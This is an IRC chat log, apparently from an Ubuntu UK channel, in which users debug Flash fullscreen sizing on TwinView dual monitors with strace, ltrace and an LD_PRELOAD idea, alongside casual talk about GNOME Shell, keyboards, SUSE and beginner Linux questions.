<brobostigon> mungojerry: maybe, yes.
<ali1234> and because there is very limited use for it
<ali1234> actually, you could do something with xnest/xephyr
<ali1234> but then you can kiss goodbye to graphics acceleration
<HazRPG> ali1234: hmm, so are said problems nvidia or adobe's fault essentially?
<ali1234> both
<ali1234> either one could fix the problem
<HazRPG> they just chose not to :/
<HazRPG> typical
<HazRPG> making us open-source guys look bad
<mungojerry> brobostigon: running the gnome shell build..."If you are a user of Ubuntu, Debian, Mandriva, Gentoo or any other  distribution that has .la files in /usr/lib or /usr/lib64, you need to  remove them before you run the build. "
<mungojerry> ugh really?
<brobostigon> mungojerry: yes, it clashes,
<mungojerry> pretty hideous kludge
<HazRPG> ali1234: I'm guessing both nvidia and adobe are aware of it though - surely
<ali1234> sure
<ali1234> if they bother to look at their bug reports
<HazRPG> heh
<HazRPG> ali1234: they're not the only ones tbh, current "bug" in the bug reports for android is the lack of arabic support
<HazRPG> if you don't mind rooting your system and installing any variant of android, you can get your arabic support - but out of the box there isn't one
<HazRPG> I've had that bug starred for at least a year or more now
<HazRPG> ali1234: thing that really gets me is that when you maximise an application, it doesn't attempt to paint it over the two physical screens, so there must be code in there to define each monitor separately... they just seem to refuse it for fullscreen apps
<ali1234> right
<ali1234> it's because there is a window manager call that says "make this window fullscreen" and does not require you to tell it the size
<ali1234> but then instead of checking what size the resulting window is, they check the size of the whole screen (which is different)
<ali1234> and then they preserve the aspect
<ali1234> so you get a tiny video in the middle of the screen
<HazRPG> hmm interesting
<ali1234> as usual, this could be fixed with 15 minutes and the source
<HazRPG> I was just about to say xD
<ali1234> but adobe's linux developer is too busy writing blog posts about how linux sucks
<HazRPG> I don't get how nvidia can sponsor some open-source projects, yet refuse to fix their own stuff
<ali1234> well, tbh, the problems in nvidia driver would be a lot harder to fix
 * AlanBell just fixed quizbot
<ali1234> it would require rewriting large amounts of code
<pr0ph3t> for free? are you mad?
<HazRPG> I'm sure the community at large would be more than happy to help out though - given the chance
<ali1234> hmm ok, you know nspluginwrapper?
<ali1234> it could perhaps be fixed through that
<ali1234> by redirecting the system calls
<HazRPG> hmm isn't nspluginwrapper a browser plugin iirc
<mungojerry> ali1234: the adobe blog makes me LOL
<ali1234> when it asks "how big is the screen?" we just lie and tell it the size of it's own window
 * HazRPG goes to google
<ali1234> or the size of the subscreen it is on
<ali1234> yeah, that should work
<mungojerry> penguinswf is a trollbot that produces a post 1nce every 6 months to annoy linux users
<HazRPG> ali1234: do you use twinview too?
<ali1234> mungojerry: he really is a troll, you can tell because he only answers troll comments, and not the reasonable ones
<ali1234> HazRPG: yes
<HazRPG> ali1234: hmm nspluginwrapper is for firefox it would seem
<ali1234> yes
<mungojerry> ali1234: yeah, and if he liked any one of (1) adobe (2) linux (3) his job or had a manager then he would produce better output
<HazRPG> I wonder if there's a way to use qemu for just applications
<HazRPG> that might do it too
<ali1234> sure
<ali1234> but it doesn't handle stuff like screens
<ali1234> for that it uses xnest
<HazRPG> ah, so would be pointless for videos using flash then
<ali1234> but fixing it through nspluginwrapper would be better
<HazRPG> ali1234: since I'm not keyed up on nspluginwrapper, I haven't a clue where to start
<pr0ph3t> sory, to get a verbose startup, do I just remove the "quiet" option from /etc/default/grub and run update grub or do I need to do anything else, like delete splash as well?
<ali1234> nspluginwrapper upstream package seems to be dead
<pr0ph3t> *sorry"
<pr0ph3t> ghh
<HazRPG> I wish I knew how to change things in memory
<brobostigon> pr0ph3t: i cant remember, however, there is a good gub2 page on the wiki, :)
<brobostigon> grub2*
<HazRPG> could probably write up a quick application that just changes the size with that - or at least fake certain falls for apps
<HazRPG> calls*
<ali1234> you can do it with a LD_PRELOAD
<HazRPG> always been something I wanted to learn
<ali1234> if you can figure out what system call it is using
<ali1234> you can do that with strace
<mungojerry> pr0ph3t: remember you can always edit grub kernel options "inline" at boot time to make non-permanent changes
<pr0ph3t> brobostigon, that's where I got that information :) I was just wondering if it was correct what I had gathered from reading the wiki
<brobostigon> pr0ph3t: from what iknow,yes.but i suggested what i did to check.
<pr0ph3t> mungojerry, pressing "e", sure
<mungojerry> cool
<pr0ph3t> I'll give it a go
<HazRPG> ali1234: heh, I'm surprised with your knowledge that you haven't done it
<pr0ph3t> thanks!
<HazRPG> ali1234: ... or maybe you already have :P
<ali1234> it's not terribly important to me
<ali1234> flash videos look terrible fullscreen anyway
<HazRPG> not all
<ali1234> and/or do not play full speed
<HazRPG> really? I've never experienced that
<HazRPG> it use to be the case a few years back
<HazRPG> I remember the days when there wasn't a flash plugin for linux
<HazRPG> adobe flash* I should say
<BigRedS> hah. gnash
<BigRedS> that put me off flash way more than any actual flash-based monstrosities have since
<HazRPG> ali1234: just out of interest, where did you learn this stuff?
<HazRPG> BigRedS: heh yeah I agree :P
<ali1234> HazRPG: mainly from reading the source code
<ali1234> and from reading mailing list posts and asking questions on irc
<domjohnson> Me: How much is this wireless phone? | Dodgy market stall guy: 3 quid | Me: Do they work? | DMSG: Err...yeah...| Me: Ok, I'll take this one, please
<domjohnson> Later
<HazRPG> ali1234: any source code I'm guessing?
<ali1234> sure
<ali1234> kernel is a good place to start
<domjohnson> *PLugs in phone* "Hmm...not working... guess it needs charging. *Later* Should be charged now... hmm...screen doesn't work. Nvm, it was cheap...*tries to ring...nothing happens* "Oh...its not plugged in" *plugs in to phone socket...no dialling tone*
<domjohnson> Bastard DMSG :/
<ali1234> i'll give you Â£1 for it
<AlanBell> domjohnson: Caveat Emptor
<HazRPG> domjohnson: oops lol
<domjohnson> Yeah....but...he said it worked...
<domjohnson> lol
<domjohnson> I would return it, but it means getting the ferry there and back (only a 15 min trip, but they only come every half hour, so...cba)
<domjohnson> Tip: Never buy from a DMSG...
<screen-x> or a DebayG
<ali1234> show us a picture of it
<screen-x> [C
<domjohnson> Haven't got my camera here, ali1234...I'm at my Dad's
<screen-x> that looks weirdly like an emoticon, I'm not sure what for though.
 * HazRPG just did: strace /opt/google/chrome/chrome
<popey> Welcome to the past Andromedan !
<popey> How is the future!?
<HazRPG> talk about screen overload!
<screen-x> HazRPG: probably need -f for tracing chrome as it forks loads.
<HazRPG> ah
<HazRPG> was wondering why it stopped outputting stuff
<domjohnson> brb
<HazRPG> screen-x: hmm, doing that has made it freeze on one line
<mungojerry> domjohnson: what's a DMSG?
<mungojerry> ah, dodgy market stall guy..
<HazRPG> mungojerry: Dodgy Market Stall Guy
<HazRPG> indeed
<BigRedS> HazRPG: and -o to get a [grep|less]able file
<mungojerry> Â£3 sounds too good to be true for anything
 * popey hugs poundland
<popey> Â£3 seems massively overpriced ;)
<mungojerry> our "pounds the limit" shop closed down
<mungojerry> due to competition from 99p  over the road..which replaced woolworth (remember them)
<HazRPG> BigRedS: pointless if I can't even get get it to go past a certain point by tacking -f
<mungojerry> footfall in 99p store is > 10x the footfall of woolworth
<HazRPG> ali1234: hmm, I think if I'm ever going to use strace and LD_PRELOAD, I'll need to start small >_<
<mungojerry> fact of the day: in venezuela, all computer games  in which the objective is to shoot people are banned
<BigRedS> what if that's the means to the objective? :)
<BigRedS> there's precious few where that's teh only objective. Normally not getting killed is the objective.
<mungojerry> i think it includes violent games where you shoot people
<BigRedS> yeah, I suspected as much. I'm in a finding-loopholes sort of a mood at the minute :)
<ali1234> HazRPG: i actually can't reproduce on iplayer or jwplayer, and the youtube player won't run in nspluginplayer
<mungojerry> http://en.wikipedia.org/wiki/List_of_banned_video_games : in saudi arabia pokemon cards are banned because of "promoting Zionism and gambling" :)
<HazRPG> ali1234: how'd ya mean?
<HazRPG> ali1234: oh the full-screen effect?
<ali1234> well on iplayer, fullscreen works as i would expect
<ali1234> and on jwplayer too
<HazRPG> yeah I've noticed its fine on those, its mainly youtube and a few other sites that seem to hate making stuff full-screen properly
<HazRPG> which makes me to believe that its youtube's fault for using an older fullscreen function
 * HazRPG tries to remember another site that causes this issue
<ali1234> it used to happen on iplayer
<ali1234> also, none will go fullscreen on anything other than the primary display
<HazRPG> ali1234: heh you know, I've never tried doing that before
<mungojerry> vimeo?
<ali1234> well, here is what i am trying to do
<HazRPG> mungojerry: was just about to go there :P
<mungojerry> i find vimeo rather sucky
<HazRPG> mungojerry: nope, vimeo is fine
<HazRPG> mungojerry: why? Just the content? or the quality?
<mungojerry> quality, often experience sound issues
<ali1234> nspluginplayer style="width:400px; height:326px;"id="VideoPlayback"  type="application/x-shockwave-flash"  src="http://video.google.com/googleplayer.swf?docId=-7309713943323243972&hl=en-GB"  flashvars=""
<ali1234> if you run that command you will see a flash video playing in a standalone window but still using the plugin
<HazRPG> I really like vimeo, usually creative types use it for videos of stuff they've sketched, 3d stuff, and some random other stuff
<ali1234> but that particular player (google video) has no fullscreen button
<ali1234> so if someone can find a command line like that which also reproduces the issue, i will be able to investigate further
<ali1234> youtube won't work though
<mungojerry> woo gnome shell has finished compiling
<brobostigon> :)
<brobostigon> mungojerry: told you it would take a while, gtk3 is the biggest.
<ali1234> vimeo doesn't have the problem either
<HazRPG> ali1234: http://www.novamov.com/embed.php?v=tasq5orxb2bks <== that has a different fullscreen issue, but still similar problem
<mungojerry> brobostigon: couple of hours wasn't too bad
<HazRPG> that's a direct link to a video
<mungojerry> no issues either
<brobostigon> mungojerry: noissues, thats good. :)
<ali1234> hmm
<ali1234> similar... it must be using yet another way to get the screen size
<HazRPG> ali1234: its still grabbing the whole screen size, except that doesn't even attempt to scale it
<ujjain> what is the word for sexual wordplay? I think itÂ´s also the name of a song. ItÂ´s not insomnia :p
<ali1234> innuendo
<ujjain> thanks!!
<brobostigon> or chatting someone up,
<ujjain> Of course :D innuendo!
<mungojerry> ujjain: are you in the correct room?
<mungojerry> :P
<ali1234> http://en.wikipedia.org/wiki/Innuendo_%28album%29
<kvarley> How can I delete a file which says "Device or resource busy" ?
<ujjain> I knew it was Queen :p
<ujjain> hahaha mungojerry,
<diplo> kvarley, see what is using said file
<diplo> lsof
<Baikonur> am i in the wrong room then
<diplo> lsof filename
<HazRPG> wow, even the videos on the telegraph work fine >_<
<ali1234> i might have to actually go to the trouble of making my own swf file just to reproduce the bug
<HazRPG> ali1234: that might be hard... I've just checked 20 different sites
<ali1234> shouldn't be too hard to just make a swf that goes fullscreen
<HazRPG> ali1234: seems youtube must have its own way making it fullscreen
<brobostigon> mungojerry: any problems, i know the right people to ask, :)
<ali1234> and then just look up all the various methods of getting the screen size
<ali1234> they all use the same fullscreen method (see "press escape to exit fullscreen" - that comes from flash)
<HazRPG> ali1234: is it easy to make swf's in linux?
<ali1234> the difference is how they then determine the size of the fullscreen window
<ali1234> obviously some get it right and others don't
<ali1234> so there must be more than one way to do it in actionscript
<HazRPG> oh, heh yeah
 * HazRPG recalls the days he did flash
 * screen-x wonders if the sites that "get it right" server OS specific SWFs
<screen-x> s/server/serve up/
<ali1234> i doubt it
<ali1234> jwplayer is open source and gets it right, so that can be one starting point
<HazRPG> screen-x: it'll just be coincidence if anything
<HazRPG> ali1234: true
<mungojerry> brobostigon: it doesn't seem very intuitive :(
<kvarley> Urgh, can't delete a file on a NAS unit. It says resource busy but nothing is accessing it anymore.
<mungojerry> kvarley: are you running lsof as root?
<brobostigon> mungojerry: which bit are you having trouble with ?
<brobostigon> mungojerry: hit superkey, it might help.
<kvarley> mungojerry its a network share though so I cant connect to it using lsof
<mungojerry> brobostigon: there's no minimise button, or window list
<brobostigon> mungojerry: one is a consequence of the other, no need for one, without the other.
 * mungojerry ponders
<brobostigon> mungojerry: also why have minimise, when there isnt a real desktop, to minimise to.
<screen-x> mungojerry: seems to be all about the overview view, but I haven't tried it yet..
<mungojerry> brobostigon: let me set the scene : i have 50 windows open on my machine, how do i select the correct terminal session? expose mode shows them too small to see
<screen-x> mungojerry: how do you do that in gnome 2.x?
<popey> ALT TAB? :)
<mungojerry> with docky
<brobostigon> mungojerry: try alt-tab, and it should collect them together in categories, and thenchoose which window fromthere.
<screen-x> 50 windows seems like loads, afterall thats what screen is for ;-)
<mungojerry> also, i have a browser window, and it's in the way - you must be able to minimize without doing right-click on title bar -> mionimize
<screen-x> though you have to recompile it to get more than 40..
<mungojerry> screen-x: i have lots of apps open..not just terminal
<brobostigon> mungojerry: also try the app list onthe left, after you have hit superkey.
<mungojerry> brobostigon: you're right
<mungojerry> i thought it was a favourites quick launcher thing
<hoover> cheers all, have a nice weekend
<brobostigon> mungojerry: its that also.
<mungojerry> so it's a dock(y)?
<brobostigon> mungojerry: kinda,
<mungojerry> screen-x: this is my desktop on a good day http://i.imgur.com/K50TB.jpg
<popey> I see at least two duplicate windows there
<mungojerry> maybe they are on different virtual desktops :P
<popey> nope, 6
<popey> yeah, i guess :)
<mungojerry> don't look too closely
<mungojerry> ;)
<otaku_coder> hi, I'm having some issues with my DVD RW drive not being found in brasero or gnomebaker, however it does show up when i run lshw -class disk -class storage
<mungojerry> anyway gnome shell and unity both require a different way of thinking...so long as the devs realise this and cater for different needs then i'm happy with that
<mungojerry> i accept i will need to change the way i work a little bit, (or else use gnome classic)
<HazRPG> ali1234: I'm starting to think that its mainly flash and that other site that seem to have this issue
<brobostigon> mungojerry: the gnome3 devs, have put alot of thought and testing into it, :)
<HazRPG> brb, going for lunch
<HazRPG> before the school traffic hits
<daubers> mungojerry: I was using Unity without even using it the othernday. It's become a bit off shifting back to my work machine which is on classic gnome tbh
<mungojerry> gnome3 feels quite fast on an older machine
<mungojerry> i already installed docky so complement the gnome3 experience :)
<brobostigon> mungojerry: you are using gnome-shell, not a complete gnome3,
<mungojerry> sorry s/3/shell
<screen-x> I'm having trouble with upgrading certain users from 8.04 to 10.04, evolution is crashing when updating the mailbox format (sqlite migration).
<screen-x> Haven't been able to find a bug with a fix, anyone else come across this?
<screen-x> mungojerry: apparently the image of your desktop isn't available anymore.
<danfish> oops - the new linux based Stock Exchange platform is down again :(
<danfish> http://www.theregister.co.uk/2011/02/25/stock_exchange_down_again/
<gord> right, so how can we blame it on windows?
<danfish> errr, someone was trying to use ie6 which led to a buffer overun and a solar flare ;)
<mungojerry> linux doesn't really have much to do with the application problem though?
<danfish> say it quick enough and look sincere and at least 90% will believe it
<bigcalm> Don't blame Linux, blame the developers
<mungojerry> i guess if el reg didn't troll then they would get less readers..
<mungojerry> or maybe not :)
<JamesTait> It runs on Novell's SUSE Linux Enterprise Server, and Novell have that relationship with Microsoft. Must be Microsoft's fault. ;)
<bigcalm> Or fewer readers
<bigcalm> JamesTait: well done
<JamesTait> I've had a bit of practise. :)
<mungojerry> millenium IT's website doesn't even work properly with linux..
<kvarley> I'm trying to run a 32 bit application on my 64 bit ubuntu installation - I have already copiued over some 32bit libs to /usr/lib32/ in order for the application to run, however it's still giving errors. Any ideas as to how I can fix it?
<kvarley> http://paste.ubuntu.com/572208/
<directhex> mungojerry, everyone blamed their previous system, which ran on MS os/database/etc, on MS. so i see turnabout as fair play
<bigcalm> I blame mans' greed
<ali1234> SUSE is a huge pile of poopy
<ali1234> nothing works right on it, ever
<ali1234> including the package manager and installer
<bigcalm> YAST did
<bigcalm> Hehe
<bigcalm> Back in the day...
<ali1234> i have never seen YAST work properly
<Myrtti> yast makes baby kitten angels cry
<ali1234> it always hangs up while making mysterious changes to your config files
<ali1234> then you have no option but to kill it and leave your config in an unknown state
<ali1234> and it doesn't even tell you what it is doing so you can't check the damage
<ali1234> it's basically only useful as an example of how NOT to make a configuration editor
<bigcalm> Well, that was a bit ranty ;)
<BigRedS> yast does make me appreciate yum
<ali1234> yast2 is even worse
<maco> BigRedS: suse now has a thing called zypper
<maco> you can use it on the command line like yum or apt-get instead of dealing with yast's annoying interface
<BigRedS> Ah, actually I've been nowhere near yast for about six years
<BigRedS> or suse for that matter, and only briefly anywhere near yum
<BigRedS> it's been quite nice recently :)
<ali1234> zypper is ok but yum is about 10 times faster
<maco> a job i had a year ago involved using suse a bit, and i whinged to zonker til he told me about zypper
<directhex> zypper is still crap though
<ali1234> the only safe way you can admin a suse box is leave a postit note on the keyboard saying "DO NOT RUN YAST"
<directhex> hail satan that now i don't deal with non-debian distros for work
<directhex> one big bright thing about changing job!
<gord> does anyone know how to close a firefox window when you don't have global menu because the new firefox version broke api compatibility with the global menu extension and the window is a menu'less window and you don't have any window decorations? because i'm kinda stuck
<ali1234> file->close?
<ali1234> oh, global menu broke
<Laney> ctrl-w?
<Laney> q, whatever
<ali1234> ctrl-q quits
<Laney> sure does
<ali1234> ctrl-w closes a tab, you probably want that
<gord> sweet, thanks
<Laney> ah ,ctrl+shift+w closes a window
<kvarley> popey - minecraft server still running?
<popey> ya
<HazRPG> back
<kvarley> popey - I lost the address, please could you re-send?
<popey> popeydc.dyndns.org
<popey> dont break stuff
<popey> also #ubuntu-uk-minecraft
<kvarley> thanks :)
<Myrtti> Pendulum: http://www.instructables.com/id/Homemade-Cadbury-Creme-Eggs/
<czajkowski> http://www.surveymonkey.com/s/UKGovOpenStandards  spread the word
<bigcalm> I'm in need of a new keyboard. What's reasonably priced and good for coding with?
<popey> IBM Model M
<directhex> i like my logitech illuminated
<directhex> but i like flat keys
<bigcalm> popey: maybe I should have said that it needs to be available to buy as well ;) I had a model m, great kb
<Myrtti> isn't das keyboard a close kin to model m
<bigcalm> Myrtti: ?
<directhex> DAS KEYBOARD
<directhex> it has no letters!
<bigcalm> Ooo
<Myrtti> directhex: they do have models with the letters too
<ali1234> i'll sell you a model m
<bigcalm> WTF ARGH OH MY
<bigcalm> http://www.daskeyboard.com/products/
<bigcalm> 129 usd
<HazRPG> oh heh I was looking at those about a week ago :P
<HazRPG> it has linux key!
<bigcalm> LOL, they sell ear plugs for cow-orkers
<HazRPG> bigcalm: haha, that was my first reaction too :P
<popey> there is a US company that still make/sell buckling spring kbs
<popey> http://pckeyboards.stores.yahoo.net/
<HazRPG> popey: no way!
<popey> they now ship to the UK
<popey> mate of mine is building up an order
<HazRPG> popey: oh wow! http://pckeyboards.stores.yahoo.net/noname1.html
<Myrtti> US layout :-<
<HazRPG> Myrtti: heh
<Myrtti> ooo
<HazRPG> Myrtti: you can ignore them though if you set it to  UK layout
 * HazRPG has done for years on his AR keyset laptop
<bigcalm> popey: how very tempting, thank you :)
<HazRPG> wow linux keyboard
<popey> Myrtti: you can choose the layout
<Myrtti> popey: noticed
<HazRPG> with the CAP-lock key moved :P
<popey> :)
<Myrtti> HazRPG: I can't live with a US keyboard.
<bigcalm> http://pckeyboards.stores.yahoo.net/customizer.html
<bigcalm> You can have a UK keyboard layout
<Myrtti> HazRPG: I can live with a UK one because I can change the keyboard layout, but US is beyond help because of the missing keys
<HazRPG> Myrtti: Is it just because you know it's a US layout? Or because you still look at the keys occasionally?
<bigcalm> My workstation has PS2 ports, great to keep usb ports free :)
<HazRPG> Myrtti: oh
<Myrtti> HazRPG: US keyboard physically lacks buttons
<bigcalm> Yus
<HazRPG> Myrtti: do they?
<HazRPG> which keys?
<popey> my mate is looking at ordering this weekend
<Myrtti> UK == FI but with keys mapped to different buttons, US != UK
<popey> if anyone wants me to order one, let me know
<Myrtti> in my usage US is lacking the one that has ><| and/or '*
 * bigcalm clicks checkout
<bigcalm> popey: humm, cheeper shipping?
<HazRPG> Myrtti: oh yeah, looking at the key sets - its just one key that's missing
<popey> bigcalm: dunno, just thinking of maybe getting some kind of discount if buying lots
<bigcalm> How many is he ordering so far?
<popey> not sure
<popey> will probably look over the weekend
<bigcalm> I'm one of those impluse buyers who needs to order now or will forget
<popey> you wont forget, I will remind you
<popey> (I am the same btw)
<popey> hence having 3 jogglers and 4 hp microservers
<bigcalm> Heh
<HazRPG> heh, I think anyone who likes using their computers have the impulse-buy bug
 * HazRPG stares at his DELL server that he just HAD to have.
 * BigRedS remembers the pile of laptops in his cupboard
<HazRPG> BigRedS: heh, I have a shed full
<mungojerry> czajkowski: did you find that survey a bit ....weird?
<HazRPG> mungojerry: survey?
<mungojerry> HazRPG: "czajkowski: http://www.surveymonkey.com/s/UKGovOpenStandards  spread the word"
<popey> http://pckeyboards.stores.yahoo.net/en104wh.html
<popey> thats the one we're looking at
<HazRPG> mungojerry: nice
<HazRPG> popey: ooo black!
<HazRPG> popey: now with extra nipple!
<HazRPG> I miss those nipple mice
<davmor2> czajkowski: have a nice break in Spain
<ali1234> survey repeats the same questions, miscategorizes things, and won't let you "Start a new line for each"
<czajkowski> davmor2: I will
<popey> :)
<czajkowski> davmor2:  will you and MooDoo cope!
 * davmor2 reminds popey to get the borders closed this time
<HazRPG> popey: found them much better than the touch pad variety - my wrists keep spreading over to touch pad and moving the mouse/clicking/dragging stuff :/
<davmor2> czajkowski: Oh yes.
 * davmor2 Still got FB and Twitter to annoy czajkowski on :P
<czajkowski> davmor2: only if I log in
<davmor2> czajkowski: you'll read it at some point :P
<dutchie> HazRPG: thinkpad \o/
<dutchie> confuses anyone else who borrows my laptop no end when they can't work out why the touchpad isn't working
<davmor2> czajkowski: you got android phone so it'll show up on there anyway :D
<czajkowski> the fn key on Lenovo is a pain as it confuses me as that is where my ctrl key is on my own laptop
<dutchie> yeah, now normal laptops confuse me in that respect
<dutchie> also F1 is flush left, with esc above it
<dutchie> which can cause issues
<HazRPG> dutchie: haha, guessing you disabled the touchpad :P
<HazRPG> I use to confuse my friends when I used my old acer for very similar stuff, because they couldn't work out how to use the nipple mouse
<HazRPG> they  kept asking me how I used it without a mouse :P
<HazRPG> amused me no end :P
<HazRPG> s/simple/similar
<HazRPG> woo! Being human is back!
<ali1234> FINALLY i have fullscreen working from nspluginplayer
<ali1234> nspluginplayer embed src="../swfplayers/34-fullscreen.swf" allowFullScreen="true"
<pr0ph3t> hi all
<pr0ph3t> to share a media path over the internet and not just the home network I tried sharing it with the right button/share folder option. Then I tried accessing the folder from remote but it doesn't work. I forwarded the port on my router as well
<pr0ph3t> I'm trying to access it from my android phone
<popey> wheeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee
<marxjohnson> That's a long slide you've got there, popey
<popey> :D
 * popey is happy, work contract just got renewed
<Pendulum> popey: yay!
<marxjohnson> woot
<marxjohnson> Beers on you at oggcamp then ;-)
<marxjohnson> unless it's only renewed until just before <undisclosed date>
<popey> :D
<popey> it is
<popey> two weeks before said <undisclosed date>
<marxjohnson> curses
<popey> ncurses
<marxjohnson> i see what you did there...
<gord> every 15 minutes or so all day ubuntu one has been popping up to tell me that its 71% complete, i'm going insane
<jacobw> it might be 72% next time :)
<gord> it wasn't...
<jacobw> ye of little faith
<gord> its more like 10 minutes
<Myrtti> bah. should I go to bed or should I try to do something sensible
<MartijnVdS> yes.
<gord> guess what guys, 71% completed!
<gord> Myrtti, minecraft!
<gord> minecraft in bed!
<Myrtti> gord: still trying not to strain my arm too much
<MartijnVdS> use the other one
<Myrtti> I went to bed at eight last night :-/
<HazRPG> MartijnVdS: was it you that sent the link to lolcode.com?
<HazRPG> just been going through it... I almost pmsl
<HazRPG> sent the link over to a friend who dabbles in a bit of coding from time to time
<HazRPG> he usually sends me lolcats stuff, and yet he didn't find the lolbash funny
<HazRPG> then again the only terminal commands he knows is apt-get, ls and that's it
<ali1234> joke programming languages usually aren't that funny
<ali1234> INTERCAL is rather amusing in that it parodies "trendy" languages, especially since it pre-dates most of today's "trendy" languages by 30 or so years
<Napo> i have installed and started apache2 but when I type http://localhost, I have checked /etc/hosts and there is mapping of localhost to 127.0.0.1
<MartijnVdS> ali1234: lolcode was funny when it came out, because lolcats where relatively new then
<Napo> sorry part of the question was swallowed. I mean when i type http://localhost and enter the browser does not connect to the server
<ali1234> well, lolcats are only funny because there is a picture of a cat, lolcode lacks this...
<marxjohnson> Napo does going to http://127.0.0.1 work?
<Napo> marxjohnson no just tried and it did not connect. i am using ubuntu 10.10 btw
<marxjohnson> how about ping localhost?
<brobostigon> evening everyone.
<Napo> marxjohnson I got a ping
<marxjohnson> cool, ok take a look at /var/log/apache2/error.log
<HazRPG> ali1234: true... but still amusing if you understand it though
<HazRPG> brobostigon: hey dude
<marxjohnson> see if there's anything obvious
<brobostigon> HazRPG: hey, :)
<ali1234> so i'm tracing flashplugin library calls now
<ali1234> except ltrace seems to not follow execution into the lib
<Napo> could this be the problem?  http://pastie.org/1607085
<marxjohnson> hmm no shouldn't be, that's just non-fatal PHP errors
<marxjohnson> have you changed any apache configuration?
<Napo> marxjohnson the only thing i did was compile xdebug and install it, in the process i had to add the line zend_extension = /usr/lib/php5/20090626+lfs/xdebug.so to /etc/php5/apache5/conf.d
<marxjohnson> Hmm again that should only affect PHP
<Napo> marxjohnson i will uninstall and reinstall apache2 then
<marxjohnson> ok
<zleap> hi
<ali1234> hmm... ltrace doesn't catch calls made through dlopen...
<ali1234> at least, not directly
<ali1234> so... how would i trace that?
<MartijnVdS> ali1234: gdb?
<ali1234> i hate gdb :(
<MartijnVdS> some GUI for it then
<zleap> not sure,  what does strace do,?
<MartijnVdS> strace should work, but traces system calls, not library calls
<MartijnVdS> so it's a level deeper
<zleap> ah ok
<ali1234> actually it probably is tracing it
<ali1234> but i can't filter on the so name
<MartijnVdS> ali1234: the ltrace manpage says dlopen()ed libs won't be traced
<ali1234> :(
<MartijnVdS> ali1234: which problem are you trying to solve? :)
<zleap> if you type trace it then lists several trace utils or i seem to get that here
<ali1234> MartijnVdS: flashplugin fullscreen mode fails to determine the screen resolution correctly when used with twinview
<MartijnVdS> ali1234: you won't be able to fix that unless you work for Adobe
<ali1234> so i'm trying to find out what library or system call it uses that gives the "wrong" answer
<ali1234> then i will patch it with a LD_PRELOAD
<MartijnVdS> ali1234: it might be harder than that :)
<ali1234> so when it asks the OS "how big is the screen?" the OS will lie to it :)
<MartijnVdS> ali1234: it might just be a libx11-call
<ali1234> probably, but which one?
<MartijnVdS> get out the X11 docs :)
<ali1234> that's not going to tell me which one the plugin uses
<MartijnVdS> there aren't many calls that return screen resolution
<ali1234> gotta be one of these: http://pastebin.com/5aFHY5Qq
<ali1234> thing is, i don't want to trace the dlopen calls, i want to trace what the code called through dlopen calls (and that is done with normal linking)
<ssk_the_gr8> new to ubuntu... need help
<ssk_the_gr8> am i in the right channel?
<ali1234> sure
<jacobw> yes :)
<zleap> ssk_the_gr8, yep
<zleap> how can we help
<MartijnVdS> ali1234: that's not possible, or you'll have to use gdb to step through the calls
<ali1234> it should be possible :)
<ssk_the_gr8> so i'm installing ubuntu 64 bit in a new partation of 100gb
<ssk_the_gr8> can i acces my windows ntfs partation from ubuntu?
<ali1234> yes
<zleap> yes
<ssk_the_gr8> deleting files.. editing files.. all of it
<ssk_the_gr8> ?
<ali1234> yes
<ssk_the_gr8> can windows acces ubuntu partation?
<ali1234> MartijnVdS: what about if i write a wrapper for flashplugin.so (it only exports 4 functions) which attaches ltrace to the called code at runtime?
<MartijnVdS> ssk_the_gr8: not easily
<MartijnVdS> ali1234: You are a scary man.
<MartijnVdS> ali1234: just attach gdb
<ssk_the_gr8> is it possible?
<ali1234> ssk_the_gr8: only for ext2/ext3 which are not the default
<ssk_the_gr8> whats the default?
<ali1234> ext4
<zleap> ext4 iirc
<jacobw> it is possible, but not easy or desirable
<ssk_the_gr8> k
<ali1234> even when it works, it isn't very good
<ssk_the_gr8> if at a later date i decide.. i don't need windows .. how do i delete that paration... what do i have to do?
<ali1234> MartijnVdS: how do i do it with gdb then?
<zleap> i think you cam just format it
<marxjohnson> ssk_the_gr8: just open up gparted (partition editor) and delete the NFTS partition, then resize the Linux partition to take up the space
<MartijnVdS> ali1234: "step"
<ali1234> MartijnVdS: no, "step" is not a good answer, i would have to step for days and days
<ssk_the_gr8> marxjohnson: thanx
<ssk_the_gr8> and if i want to delete ubuntu?
<ssk_the_gr8> what abt the grub loader?
<MartijnVdS> ali1234: set breakpoint on libx11 calls that return screen size
<brobostigon> ssk_the_gr8: a live cd, and then gparted again.
<ali1234> i want a list of every library called by flashplugin.so over the course of running interactively for at least a minute
<brobostigon> ssk_the_gr8: and then reinstall windows boot manager,
<jacobw> but why would you want to do that :p
<ali1234> i don't see why i can't just set a breakpoint on any library call in that case
<ali1234> ie what ltrace does
<ssk_the_gr8> jacobw: 1st time linux
<ssk_the_gr8> may not like it..
<marxjohnson> ssk_the_gr8: If you just want to try it out you could install in a VM?
<jacobw> yeah :) i was being mischeavious
<marxjohnson> saves the grief of partitioning your real hard disk, and lets you share files between the 2
<jacobw> or try it with wubi
<ssk_the_gr8> i have used it in a vm ... liked it.. want to make it my primary os
<marxjohnson> ah cool
<ali1234> better to put windows in the VM
<ali1234> just sayin
<ssk_the_gr8> so trying to move out of windows
<marxjohnson> could try the opposite then? Just ubuntu with Windows in VM?
<ssk_the_gr8> ali1234: good idea
<ssk_the_gr8> vmware must be available for ubuntu..
<ssk_the_gr8> but i have the oem edition... HP laptop
<marxjohnson> I use VirtualBox
<jacobw> make sure that you have windows install media if you want to do that though, it sounds basic but people forget that they were never given windows install discs by their oem
<zleap> ssk_the_gr8, yesl also virtual box which can do the same
<ssk_the_gr8> will it install in VM...
<ssk_the_gr8> i have made the restore discs
<zleap> ok
<ssk_the_gr8> ?
<marxjohnson> hmm try it in a VM under Windows first, but I'd guess not
<ssk_the_gr8> thats what i was thinking...
<ssk_the_gr8> people keep telling me they comeacross stuff that does not work on linux
<ssk_the_gr8> so i wanted to keep windows
<ali1234> plenty of stuff does not work on linux
<ssk_the_gr8> i thought you all would contradict me.. :D
<ali1234> plenty of stuff does not work on windows either
<zleap> ali1234, viruses :D
<marxjohnson> the trick is to have the patience to find the alternative that does the same job on Linux
<ssk_the_gr8> btw, how do i install windows boot manager?
<ali1234> zleap: there are plenty of viruses for linux
<zleap> i thought there were a few that were proof of concept
<ssk_the_gr8> ali1234: really?
<ali1234> yes really. you won't see any of them unless you run a server though
<zleap> ok
